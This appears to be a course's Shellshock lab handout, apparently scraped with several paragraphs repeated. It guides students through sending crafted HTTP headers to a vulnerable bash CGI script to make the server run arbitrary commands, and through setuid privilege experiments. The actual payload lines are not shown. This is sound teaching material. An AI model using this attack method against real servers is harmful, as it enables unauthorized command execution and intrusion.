Shellshock.com

[Tarja Hempton]

OnSeptember 24, 2014, a severe vulnerability in bash was identified. Nicknamed Shellshock, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this lab, you will do several experiments to understand the Shellshock vulnerability. The learning objective of this lab is for you to get first-hand experience with Shellshock (and learn about reverse shells in the process), understand how it works, and think about the lessons that we can learn from this attack. Although it is most likely not still a threat to any existing systems, this type of vulnerability is still quite possible!

The bash program in Ubuntu 20.04 has already been patched, so it is no longer vulnerable to the Shellshock attack. For the purpose of this lab, we have installed a vulnerable version of bash inside the /bin folder of the docker container, and in the image_www folder of the lab setup code; its name is bash_shellshock. You will need to use this vulnerable bash in our task.

Detailed explanation of the content in this file and all the involved Docker files can be found from the user manual, which is linked to on this lab website. If this is the first time you set up a SEED lab environment using containers, it is very important that you read the user manual. You will need to start the container using the command

The CGI program uses /bin/bash_shellshock (the first line), instead of using /bin/bash. This line specifies what shell program should be invoked to run the script. We do need to use the vulnerable bash in this lab. To access the CGI program from the Web, we can either use a browser by typing the following URL: -shellshock.com/cgi-bin/vul.cgi inside your VM, or use the following command line program curl to do the same thing. Please make sure that the web server container is running.

YOU WILL WANT TO UNDO THIS AFTER THE LAB, by moving the bashpatched back to /bin/bash. You can verify that this is successful by using the one liner test that we looked at in class! You will ALSO want to make sure that this step was successful before logging out or powering off the VM. If you accidentally remove your shell program and do not replace it, you will not be able to log back in to the VM, because it needs a shell to do so! To confirm that the link is valid, run

To exploit a Shellshock vulnerability in a bash-based CGI program, attackers need to pass their data to the vulnerable bash program, and the data need to be passed via an environment variable. In this task, we need to see how we can achieve this goal. We have provided another CGI program (getenv.cgi) on the server to help you identify what user data can get into the environment variables of a CGI program. This CGI program prints out all its environment variables.

If we want to set the environment variable data to arbitrary values, we will have to modify the behavior of the browser, which can be complicated. Fortunately, there is a command-line tool called curl, which allows users to to control most of fields in an HTTP request. Here are some of the userful options: 1. the -v field can print out the header of the HTTP request; 2. the -A, -e, and -H options can set some fields in the header request, and you need to figure out what fields are set by each of them. Please include your findings in the lab report.

We can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the bash program, which is invoked before the actual CGI script is executed. Your job is to launch the attack through the URL -shellshock.com/cgi-bin/vul.cgi, so you can get the server to run an arbitrary command. If your command has a plain-text output, and you want the output returned to you, your output needs to follow a protocol: it should start with Content type: text/plain, followed by an empty line, and then you can place your plain-text output. For example, if you want the server to return a list of files in its folder, your command will look like the following:

In this task, please use three different approaches (i.e., three different HTTP header fields) to launch the Shellshock attack against the target CGI program. You need to achieve the following objectives. For each objective, you only need to use one approach, but in total, you need to use three different approaches.

HTTP GET requests typically attach data in the URL, after the ? mark. This could be another approach that we can use to launch the attack. In the following example, we attach some data in the URL, and we found that the data are used to set the following environment variable:

It should be noted that using setuid(geteuid()) to turn the real uid into the effective uid is not a common practice in setuid programs, but it does happen.Now, remove the setuid(geteuid()) statement from the above program, and repeat your attack. Can you gain the root privilege? Please show us your experiment results.

In our experiment, when that line is removed, the attack fails (with that line, the attack is successful). In other words, if the real user id and the effective user id are the same, the function defined in the environment variable is evaluated, and thus the Shellshock vulnerability will be exploited.However, if the real user id and the effective user id are not the same, the function defined in the environment variable is not evaluated at all. This is verified from the bash source code (variables.c, between Lines 308 to 369).

Another way to invoke a program in C is to use execve(), instead of system(). The following program does exactly what the program in 3.4 does. Please compile the code, and make it a setuid program that is owned by root. Launch your Shellshock attack on this new program, and describe and explain your observation.

You will need to submit a written lab report through UBLearns, containing all of the deliverable elements above, by the due date specified in UBLearns. You are encouraged to explore beyond what is required by the lab.

On September 24, 2014, a severe vulnerability in bash was identified. Nicknamed Shellshock, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this lab, students will work on this attack to better understand the Shellshock vulnerability. The learning objective of this lab is for students to get first-hand experience with this interesting attack, understand how it works, and think about more general lessons that we can take aware from this attack. The first version of this lab was developed on September 29, 2014, just five days after the attack was reported.

This lab uses a new approach that is dependent on docker/containers. The transition to containers was meant to make the setup for this lab easier. (Old versions of network and web security labs required multiple VMs - containers are much more lightweight and easy to work with.) If, however, you encounter any issues, please let me know, and we can work to troubleshoot. Please follow the rest of this section very carefully - it contains critical information to ensure that this lab will work properly.

In this lab, we will carry out various Shellshock attacks targeted at the web server container. Many web servers enable CGI, which is a standard method used to generate dynamic content on web pages and for web applications. Many CGI programs are shell scripts, so before the actual CGI program runs, a shell program will be invoked first, and such an invocation is triggered by users from remote computers. If the shell program is a vulnerable bash program, we can exploit the Shellshock vulnerability to gain privileges on the server.

The CGI program uses /bin/bash_shellshock (note the first line), instead of using /bin/bash. (/bin/bash_shellshock is just an older version of bash that has been intentionally installed in our SEED environment for this lab. As the name suggests, this version of bash is still vulnerable to Shellshock attacks.) The first line in shell scripts is known as a shebang; this line specifies what shell program should be invoked to run the script. In order to carry out Shellshock attacks, we need to use the vulnerable version of bash in this lab.

NOTE: For this experiment, you can use docksh to attach to your container. Once you have a shell within the terminal, you can create a child shell that runs either /bin/bash or /bin/bash_shellshock to conduct your experiment. In later tasks you will conduct shellshock attacks from outside the web server container, but for this task it is OK to do this within the container.

To exploit a Shellshock vulnerability in a bash-based CGI program, attackers need to pass their data to the vulnerable bash program, and the data needs to be passed via an environment variable. In this task, we need to see how we can achieve this goal. We have provided another CGI program (getenv.cgi) on the server to help you identify what user data is translated into environment variables, which are ultimately passed to a CGI program. This CGI program prints out all its environment variables for the current process.

Please run the commands below (Tasks 2.2.1-2.2.4) and include your findings in your lab report. Specifically, please briefly describe what each option does, and provide relevant evidence (e.g., a snippet of output from the HTTP request/response). NOTE: From this point forward, it is assumed that your Docker container is up and running properly

We can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the bash program, which is invoked before the actual CGI script is executed. You should launch your attack targeting the CGI script located at the following URL: -shellshock.com/cgi-bin/vul.cgi. Your ultimate objective is to get the server to run an arbitrary command of your choosing.

In this lab we target Common Gateway Interface (CGI) scripts that use a vulnerable version of bash to generate and return dynamic content from the webserver (e.g., output from the script or another command). While it is helpful to be familiar with the CGI, we can get by with just a few insights.

3a8082e126